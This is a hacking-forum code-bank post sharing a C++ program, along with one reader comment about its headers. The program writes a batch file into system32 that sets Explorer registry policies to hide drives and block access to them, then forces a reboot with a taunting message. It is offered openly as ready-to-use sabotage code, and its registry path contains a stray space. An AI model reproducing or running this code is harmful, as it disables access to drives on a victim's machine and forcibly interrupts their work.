Welcome to HBH! If you had an account on hellboundhacker.org you will need to reset your password using the Lost Password system before you will be able to login.

Hide and Disable Drive - C++ Code Bank


Hide and Disable Drive
This line of code will hide and disable your hard drive. just copy and save it. happy coding cccc(o,o) NOTE: I've done this code in Bloodshed Dev-C++ IDE
                #include < windows.h >
#include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{

char line[1000] = "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n";
char line2[1000] = "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n";
char line3[1000] = "shutdown -r -c \"greetings from GUDJHONG_MEA and Anneng. if you love your work save it before this system rundown!\" -f";

ofstream write ( "C:\\WINDOWS\\system32\\gudjhongmea21.bat" );
write << line << line2 << line3 << endl;
write.close(); //close file

ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\gudjhongmea21.bat ",NULL,NULL,SW_SHOWNORMAL);
return 0;
}
            
Comments
ellipsis's avatar
ellipsis 13 years ago

Useless headers.. All you need for this is windows.h (which I think includes the shellapi.h for ShellExecute), and fstream.